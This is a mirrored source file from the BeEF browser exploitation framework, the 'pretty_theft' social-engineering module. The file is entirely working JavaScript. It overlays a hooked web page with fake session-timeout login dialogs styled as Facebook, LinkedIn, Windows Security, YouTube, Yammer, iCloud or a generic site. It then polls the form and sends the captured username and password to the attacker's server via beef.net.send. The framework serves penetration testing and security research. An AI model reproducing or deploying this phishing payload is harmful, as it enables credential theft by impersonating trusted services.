Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/pretty_theft/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
imgr = "<%== @imgsauce %>";
10
var answer= '';
11
// set up darkening
12
function grayOut(vis, options) {
13
// Pass true to gray out screen, false to ungray
14
// options are optional. This is a JSON object with the following (optional) properties
15
// opacity:0-100 // Lower number = less grayout higher = more of a blackout
16
// zindex: # // HTML elements with a higher zindex appear on top of the gray out
17
// bgcolor: (#xxxxxx) // Standard RGB Hex color code
18
// grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'});
19
// Because options is JSON opacity/zindex/bgcolor are all optional and can appear
20
// in any order. Pass only the properties you need to set.
21
var options = options || {};
22
var zindex = options.zindex || 50;
23
var opacity = options.opacity || 70;
24
var opaque = (opacity / 100);
25
var bgcolor = options.bgcolor || '#000000';
26
var dark=document.getElementById('darkenScreenObject');
27
if (!dark) {
28
// The dark layer doesn't exist, it's never been created. So we'll
29
// create it here and apply some basic styles.
30
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
31
var tbody = document.getElementsByTagName("body")[0];
32
var tnode = document.createElement('div'); // Create the layer.
33
tnode.style.position='absolute'; // Position absolutely
34
tnode.style.top='0px'; // In the top
35
tnode.style.left='0px'; // Left corner of the page
36
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
37
tnode.style.display='none'; // Start out Hidden
38
tnode.id='darkenScreenObject'; // Name it so we can find it later
39
tbody.appendChild(tnode); // Add it to the web page
40
dark=document.getElementById('darkenScreenObject'); // Get the object.
41
}
42
if (vis) {
43
// Calculate the page width and height
44
//if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
45
// var pageWidth = document.body.scrollWidth+'px';
46
// var pageHeight = document.body.scrollHeight+'px';
47
//} else if( document.body.offsetWidth ) {
48
// var pageWidth = document.body.offsetWidth+'px';
49
// var pageHeight = document.body.offsetHeight+'px';
50
//} else {
51
52
// Previous lines were not rendering page background correctly
53
var pageWidth='100%';
54
var pageHeight='100%';
55
//}
56
//set the shader to cover the entire page and make it visible.
57
dark.style.opacity=opaque;
58
dark.style.MozOpacity=opaque;
59
dark.style.filter='alpha(opacity='+opacity+')';
60
dark.style.zIndex=zindex;
61
dark.style.backgroundColor=bgcolor;
62
dark.style.width= pageWidth;
63
dark.style.height= pageHeight;
64
dark.style.display='block';
65
} else {
66
dark.style.display='none';
67
}
68
}
69
70
// CURRENTLY NOT USED
71
// Send done prompt to user
72
function win(){
73
document.getElementById('popup').innerHtml='<h2>Thank you for re-authenticating, you will now be returned to the application</h2>';
74
answer = document.getElementById('uname').value+':'+document.getElementById('pass').value;
75
}
76
77
78
// Check whether the user has entered a user/pass and pressed ok
79
function checker(){
80
uname1 = document.getElementById("uname").value;
81
pass1 = document.getElementById("pass").value;
82
valcheck = document.getElementById("buttonpress").value;
83
84
if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") {
85
// Join user/pass and send to attacker
86
answer = uname1+":"+pass1
87
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);
88
// Set lastchild invisible
89
document.body.lastChild.setAttribute('style','display:none');
90
clearInterval(credgrabber);
91
// Lighten screen
92
grayOut(false);
93
$j('#popup').remove();
94
$j('#darkenScreenObject').remove();
95
96
} else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true") {
97
// If user has not entered any data, reset button
98
document.getElementById("buttonpress").value = "false";
99
alert("Please enter a valid username and password.");
100
}
101
}
102
103
104
// Facebook floating div
105
function facebook() {
106
107
sneakydiv = document.createElement('div');
108
sneakydiv.setAttribute('id', 'popup');
109
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
110
document.body.appendChild(sneakydiv);
111
112
// Set appearance using styles, maybe cleaner way to do this with CSS block?
113
var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"';
114
var windowmain = 'style="border:1px #555 solid;"';
115
var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 30px;"';
116
var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
117
var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
118
var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"';
119
var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);"';
120
var buttonstyle = 'style="font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
121
122
var title = 'Facebook Session Timed Out';
123
var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
124
var buttonLabel = '<input type="button" name="ok" value="Log in" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
125
126
// Build page including styles
127
sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Email: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
128
129
// Repeatedly check if button has been pressed
130
credgrabber = setInterval(checker,1000);
131
}
132
133
134
// Linkedin floating div
135
function linkedin() {
136
137
sneakydiv = document.createElement('div');
138
sneakydiv.setAttribute('id', 'popup');
139
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
140
document.body.appendChild(sneakydiv);
141
142
// Set appearance using styles, maybe cleaner way to do this with CSS block?
143
var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';
144
var windowmain = 'style="border:1px #555 solid;"';
145
var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';
146
147
//-moz-box-shadow: 0 1px 4px #ccc;-webkit-box-shadow: 0 1px 4px #CCC;-o-box-shadow: 0 1px 4px #ccc;box-shadow: 0 1px 4px #CCC;
148
149
var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
150
var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
151
var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';
152
var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';
153
var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
154
var lilogo = 'https://static.licdn.com/sc/h/95o6rrc5ws6mlw6wqzy0xgj7y';
155
var title = 'Session Timed Out <img src="' + lilogo + '" align=right height=20 width=70 alt="LinkedIn">';
156
var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
157
var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
158
159
// Build page including styles
160
sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Email: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
161
162
// Repeatedly check if button has been pressed
163
credgrabber = setInterval(checker,1000);
164
}
165
166
// Windows floating div
167
function windows() {
168
sneakydiv = document.createElement('div');
169
sneakydiv.setAttribute('id', 'popup');
170
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;');
171
document.body.appendChild(sneakydiv);
172
173
// Set appearance using styles, maybe cleaner way to do this with CSS block?
174
175
// Set window border
176
var edgeborder = 'style="border:1px #000000 solid;border-radius:6px;"';
177
var windowborder = 'style="width:400px;border: 7px #CFE7FE solid;border-radius:6px;"';
178
179
var windowmain = 'style="border:1px #000000 solid;"';
180
181
var titlebarstyle = 'style="background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;"';
182
var titlebartext = 'Windows Security';
183
184
var promptstyle = 'style="height:40px;"';
185
var titlestyle = 'style="align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;"';
186
var title = 'Enter Network Password';
187
var bodystyle = 'style="align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;"';
188
var body = 'Enter your password to connect to the server';
189
var dividestyle = 'style="border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;"';
190
191
var tablestyle = 'style="background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px"';
192
var logobox = 'style="border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff"';
193
var logo = 'style="border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top, #EEF2F4, #CCD8DF);"';
194
195
var inputboxstyle = 'style="width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;"';
196
197
var credstextstyle = 'style="font-size:11px;font-family:Segoe UI;"';
198
199
var buttonstyle = 'style="font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top, #ffffff, #CFCFCF);"';
200
var buttonLabel = '<input type="button" name="ok" value="OK" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
201
202
var bbarstyle = 'style="background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;"';
203
204
// Build page including styles
205
sneakydiv.innerHTML= '<div id="edge" '+edgeborder+'><div id="window_container" '+windowborder+ '><div id="title_bar" ' +titlebarstyle+ '>' +titlebartext+ '</div><div id="windowmain" ' +windowmain+ '><div id="prompt" '+promptstyle+'><p><span ' +titlestyle+ '>' +title+ '</span><br/><span ' +bodystyle+ '>' + body + '</span></div><div id="divide" ' +dividestyle+ '></div></p><table ' +tablestyle+ '><tr><td rowspan="3" width=75px align="center"><div id="logobox" ' +logobox+ '><div id="logo" ' +logo+ '></div></div></td><td align="left"><input type="text" id="uname" placeholder="User name" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="left"><input type="password" id="pass" name="pass" placeholder="Password" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td><input type="checkbox"><span ' +credstextstyle+ '>Remember my credentials</span></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div></div>';
206
207
// Repeatedly check if button has been pressed
208
credgrabber = setInterval(checker,1000);
209
}
210
211
// YouTube floating div
212
function youtube() {
213
214
sneakydiv = document.createElement('div');
215
sneakydiv.setAttribute('id', 'popup');
216
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
217
document.body.appendChild(sneakydiv);
218
219
// Set appearance using styles, maybe cleaner way to do this with CSS block?
220
var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';
221
var windowmain = 'style="border:1px #555 solid;"';
222
var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';
223
var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
224
var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
225
var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';
226
var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';
227
var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
228
var logo = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png';
229
var title = 'Session Timed Out <img src="' + logo + '" align=right height=20 width=70 alt="YouTube">';
230
var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
231
var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
232
233
// Build page including styles
234
sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
235
236
// Repeatedly check if button has been pressed
237
credgrabber = setInterval(checker,1000);
238
239
}
240
241
// Yammer floating div
242
function yammer() {
243
244
sneakydiv = document.createElement('div');
245
sneakydiv.setAttribute('id', 'popup');
246
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
247
document.body.appendChild(sneakydiv);
248
249
// Set appearance using styles, maybe cleaner way to do this with CSS block?
250
var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';
251
var windowmain = 'style="border:1px #555 solid;"';
252
var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';
253
var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
254
var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
255
var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';
256
var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';
257
var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
258
var logo = 'https://www.yammer.com/favicon.ico';
259
var title = 'Session Timed Out <img src="' + logo + '" align=right height=24 width=24 alt="Yammer">';
260
var messagewords = 'Your Yammer session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
261
var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
262
263
// Build page including styles
264
sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
265
266
// Repeatedly check if button has been pressed
267
credgrabber = setInterval(checker,1000);
268
269
}
270
271
function ios() {
272
273
/* start of Framework7 css
274
* Framework7 0.10.0
275
* Full Featured HTML Framework For Building iOS 7 Apps
276
*
277
* http://www.idangero.us/framework7
278
*
279
* Copyright 2014, Vladimir Kharlampidi
280
* The iDangero.us
281
* http://www.idangero.us/
282
*
283
* Licensed under MIT
284
*
285
* Released on: December 8, 2014
286
*/
287
var styles = ' * {' +
288
'font-family: Helvetica Neue,Helvetica,Arial,sans-serif;'+
289
'margin: 0;'+
290
'padding: 0;'+
291
'font-size: 14px;' +
292
'line-height: 1.4;' +
293
'-webkit-text-size-adjust: 100%;' +
294
'overflow: hidden;' +
295
'-webkit-tap-highlight-color: transparent; ' +
296
'-webkit-touch-callout: none; } ';
297
298
styles += 'input { outline: 0; }';
299
styles += '.modal-overlay { ' +
300
'position: absolute; ' +
301
'left: 0; ' +
302
'top: 0; ' +
303
'width: 100%;' +
304
'height: 100%;' +
305
'background: rgba(0,0,0,.4);' +
306
' z-index: 10600;' +
307
' visibility: hidden;' +
308
'opacity: 0; ' +
309
'-webkit-transition-duration: 400ms;' +
310
'transition-duration: 400ms; } ';
311
312
styles += '.modal-overlay.modal-overlay-visible { visibility: visible; opacity: 1;} ';
313
styles += '.modal { width: 270px; position: absolute; z-index: 11000; left: 50%; ' +
314
'margin-left: -135px; margin-top: 0; top: 50%; text-align: center; border-radius: 7px;' +
315
'opacity: 0; -webkit-transform: translate3d(0,0,0) scale(1.185); ' +
316
'transform: translate3d(0,0,0) scale(1.185); -webkit-transition-property: -webkit-transform,opacity;' +
317
'transition-property: transform,opacity; color: #000;}';
318
319
styles += '.modal.modal-in {opacity: 1; -webkit-transition-duration: 400ms;transition-duration: 400ms;' +
320
'-webkit-transform: translate3d(0,0,0) scale(1); transform: translate3d(0,0,0) scale(1);}';
321
styles += '.modal-inner { padding: 15px;border-bottom: 1px solid #b5b5b5;border-radius: 7px 7px 0 0;' +
322
'background: #e8e8e8;}';
323
styles += '.modal-title { font-weight: 500; font-size: 18px;text-align: center}';
324
styles += '.modal-title + .modal-text {margin-top: 5px;}';
325
styles += '.modal-buttons { height: 44px; overflow: hidden;' +
326
'display: -webkit-box;' +
327
'display: -webkit-flex;' +
328
'display: flex;' +
329
'-webkit-box-pack: center;' +
330
'-webkit-justify-content: center;' +
331
'justify-content: center;}';
332
333
styles += '.modal-button {' +
334
'width: 100%;' +
335
'padding: 0 5px;' +
336
'height: 44px;' +
337
'font-size: 17px;' +
338
'line-height: 44px;' +
339
'text-align: center;' +
340
'color: #007aff;' +
341
'background: #e8e8e8;' +
342
'display: block;' +
343
'position: relative;' +
344
'white-space: nowrap;' +
345
'text-overflow: ellipsis;'+
346
'overflow: hidden;'+
347
'cursor: pointer;'+
348
'-webkit-box-sizing: border-box;'+
349
'box-sizing: border-box;'+
350
'border-right: 1px solid #b5b5b5;'+
351
'-webkit-box-flex: 1;} ';
352
353
styles += '.modal-button.modal-button-bold {font-weight: 500;} ';
354
styles += '.modal-button:first-child {border-radius:0 0 0 7px;} ';
355
styles += '.modal-button:last-child {'+
356
' border-radius: 0 0 7px 0;' +
357
' border-bottom: none; } ';
358
styles += "input.modal-text-input {" +
359
"-webkit-box-sizing: border-box;" +
360
"box-sizing: border-box;" +
361
"height: 30px;" +
362
"background: #fff;"+
363
"margin: 0;" +
364
"margin-top: 15px;" +
365
"padding: 0 5px;" +
366
"border: 1px solid #a0a0a0;" +
367
"border-radius: 5px;" +
368
"width: 100%;" +
369
"font-size: 14px;" +
370
"font-family: inherit;" +
371
"display: block;" +
372
"-webkit-box-shadow: 0 0 0 transparent;" +
373
"box-shadow: 0 0 0 transparent;" +
374
"-webkit-appearance: none;" +
375
"appearance: none; }";
376
styles += "input.modal-text-input.modal-text-input-double {" +
377
"border-radius: 5px 5px 0 0; }";
378
styles += "input.modal-text-input.modal-text-input-double+input.modal-text-input {"+
379
" margin-top: 0;" +
380
" border-top: 0;" +
381
" border-radius: 0 0 5px 5px; }";
382
/*end of Framework7 css*/
383
styles += "input[type=submit] { " +
384
" visibility: hidden;" +
385
" position: absolute;" +
386
" top: -999px; }";
387
388
styles += "input[type=text],input[type=password] { " +
389
" font-size: 16px; }" ;
390
391
styles += "#pass + div {"+
392
" display: block;"+
393
"position: absolute;"+
394
"top: -10px;"+
395
"left: -53px;"+
396
"width: 3000px;"+
397
"height: 3000px;"+
398
"background-color: white;"+
399
"z-index: 1;"+
400
"font-size: 14px;"+
401
"pointer-events: none;"+
402
"text-align: left; }";
403
404
styles += '@media only screen ' +
405
'and (min-device-width : 768px)' +
406
'and (max-device-width : 1024px)' +
407
'and (orientation : landscape) {' +
408
'.modal.modal-in {' +
409
' opacity: 1;' +
410
'-webkit-transition-duration: 400ms;'+
411
'transition-duration: 400ms;'+
412
'-webkit-transform: translate3d(0,0,0) scale(0.9);'+
413
'transform: translate3d(0,0,0) scale(0.9);' +
414
'left: 200px;} ' +
415
' #pass + div { top: -23px; left: -87px;} }';
416
417
styles +='@media only screen and (min-device-width : 768px)' +
418
'and (max-device-width : 1024px) and (orientation : portrait) {' +
419
'.modal.modal-in { opacity: 1; -webkit-transition-duration: 400ms;' +
420
'transition-duration: 400ms; -webkit-transform: translate3d(0,0,0) scale(0.8);'+
421
'transform: translate3d(0,0,0) scale(0.8);} ' +
422
'#pass + div {top: -39px;left: -305px;} }';
423
424
styles += '#pass:focus + div {display: none;}';
425
426
styleElement = $j(document.createElement('style')).text(styles);
427
title = $j(document.createElement('div'));
428
title.text('iCloud login');
429
title.addClass('modal-title');
430
431
description = $j(document.createElement('div'));
432
description.addClass('modal-text');
433
description.text('Enter your Apple ID e-mail address and password');
434
435
user = $j(document.createElement('input'));
436
user.addClass('modal-text-input').addClass('modal-text-input-double');
437
user.attr('name','modal-username');
438
user.attr('id','uname');
439
user.text('');
440
user.keydown(function(event) {
441
if(event.keyCode == 13) {
442
$j('#buttonpress').attr('value', 'true');
443
}
444
});
445
446
password = $j(document.createElement('input'));
447
password.addClass('modal-text-input').addClass('mobile-text-input-double');
448
password.attr('autofocus','');
449
password.attr('id', "pass");
450
password.attr('name',"modal-password");
451
password.attr('placeholder',"Password");
452
password.attr('type', 'password');
453
password.keydown(function(event) {
454
if(event.keyCode == 13) {
455
$j('#buttonpress').attr('value', 'true');
456
}
457
});
458
459
cancel = $j(document.createElement('span'));
460
cancel.addClass('modal-button');
461
cancel.text('Cancel');
462
463
ok = $j(document.createElement('span'));
464
ok.addClass('modal-button').addClass('modal-button-bold');
465
okLabel = $j(document.createElement('label'));
466
okLabel.attr('for','submit');
467
okLabel.css('width', '100%');
468
okLabel.css('height', '100%');
469
okLabel.text('OK');
470
okLabel.click(function() {
471
$j('#buttonpress').attr('value','true');
472
});
473
okLabel.append(
474
$j(document.createElement('input'))
475
.attr('id', 'submit')
476
.attr('type','submit')
477
.attr('value','OK'),
478
$j(document.createElement('input'))
479
.attr('id','buttonpress')
480
.attr('type', 'hidden')
481
.attr('name','buttonpress')
482
.attr('value', 'false')
483
);
484
ok.append(okLabel);
485
486
var buttons = $j(document.createElement('div'));
487
buttons.addClass('modal-buttons');
488
buttons.append(cancel, ok);
489
var inner = $j(document.createElement('div'));
490
inner.addClass('modal-inner');
491
inner.append(title, description, user,password);
492
uiContainer = $j(document.createElement('div'));
493
uiContainer.addClass('modal').addClass('modal-in');
494
uiContainer.css('top', '10px');
495
uiContainer.append(inner, buttons);
496
497
sneakydiv = $j(document.createElement('div'));
498
sneakydiv.addClass('modal-overlay').addClass('modal-overlay-visible');
499
sneakydiv.attr('id','popup');
500
sneakydiv.append(styleElement, uiContainer);
501
$j('body').append(sneakydiv);
502
credgrabber = setInterval(checker, 1000);
503
}
504
505
// Generic floating div with image
506
function generic() {
507
sneakydiv = document.createElement('div');
508
sneakydiv.setAttribute('id', 'popup');
509
sneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');
510
sneakydiv.setAttribute('align', 'center');
511
document.body.appendChild(sneakydiv);
512
sneakydiv.innerHTML= '<br><img src=\''+imgr+'\' width=\'80px\' height\'80px\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'uname\' id=\'uname\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"buttonpress\").value=\"true\";\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'pass\' id=\'pass\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"buttonpress\").value=\"true\";\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lul\' onClick=\'document.getElementById(\"buttonpress\").value=\"true\";\' value=\'Ok\'><br/><input type="hidden" id="buttonpress" name="buttonpress" value="false"/><br/>';
513
514
// Repeatedly check if button has been pressed
515
credgrabber = setInterval(checker,1000);
516
517
}
518
519
// Set background opacity and apply background
520
var backcolor = "<%== @backing %>";
521
if(backcolor == "Grey"){
522
grayOut(true,{'opacity':'70'});
523
} else if(backcolor == "Clear"){
524
grayOut(true,{'opacity':'0'});
525
}
526
